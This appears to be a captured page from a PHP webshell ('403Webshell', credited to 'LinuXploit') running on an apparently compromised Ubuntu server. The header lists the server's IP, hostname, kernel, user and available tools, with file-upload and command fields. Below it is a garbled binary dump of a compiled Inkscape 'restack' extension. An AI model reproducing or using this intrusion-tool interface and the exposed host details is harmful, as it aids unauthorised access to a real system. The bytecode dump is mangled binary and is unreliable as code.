403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/restack.cpython-310.pyc
o

0�aH�@s�ddlZddlZddlmZddlmZedddd��Zedd	d
d��Zdd
dddd�ZGdd�dej�Z	e
dkr@e	���dSdS)�N)�KeyDict)�SvgDocumentElement�left�right�center_x)�l�r�m�top�bottom�center_y)�t�br	�tb�bt�lr�rl)i�Zrih�c@sDeZdZdZedd��Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dS)�RestackzCChange the z-order of objects based on their position on the canvascCsdS)N�rrr�)/usr/share/inkscape/extensions/restack.py�<lambda>%szRestack.<lambda>cCs~|jd|�d�|jd�|jdddd�|jdtd	d
d�|jdd
dd�|jdd
dd�|jdddd�|jdddd�dS)Nz--tab�restack)�type�defaultz--directionrzdirection to restack)r�helpz--anglegzarbitrary angle)rrrz	--xanchorr	zhorizontal point to comparez	--yanchorzvertical point to comparez--zsort�revzRestack mode based on Z-Orderz--nb_direction�z
Direction tab)�add_argument�
arg_method�restack_positional�float)�self�parsrrr�
add_arguments'szRestack.add_argumentscCs`|jjs	t�d��d}|jj�t�D]}|}|jjt|��q|dur(|j�	�}|j
�|�dS)Nz!There is no selection to restack.)�svg�selected�inkex�AbortExtension�	selection�filterr�
set_selection�list�get_current_layer�options�tab�r#�
parentnode�noderrr�effect0s

zRestack.effectcCs*t|jj��|jd�D]}|�|�qdS)z Restack based on canvas position)�keyT)�sortedr&r'�values�_sort�appendr1rrrr!?szRestack.restack_positionalcCsN|jj|jj}}|jj��}|jj}d|jjvr|jj}|���	||||�S)N�custom)
r/�xanchor�yanchorr&r*�bounding_box�	direction�nb_direction�angle�
get_anchor)r#r3�x�y�selboxr>rrrr8Fsz
Restack._sortcCs\t|jj���}|jjdkr|��n|jjdkrt�|�|dur,|D]}|�	|�q$dS)zRestack based on z-orderr�randNT)
r-r&r'�paint_orderr/�zsort�reverse�random�shuffler9)r#r2�objects�itemrrr�restack_z_orderNs

zRestack.restack_z_orderN)�__name__�
__module__�__qualname__�__doc__�staticmethod�restack_helpr%r4r!r8rMrrrrr#s	r�__main__)rIr(�inkex.utilsrr�XAN�YAN�CUSTOM_DIRECTION�EffectExtensionrrN�runrrrr�<module>s7�

Youez - 2016 - github.com/yon3zu
LinuXploit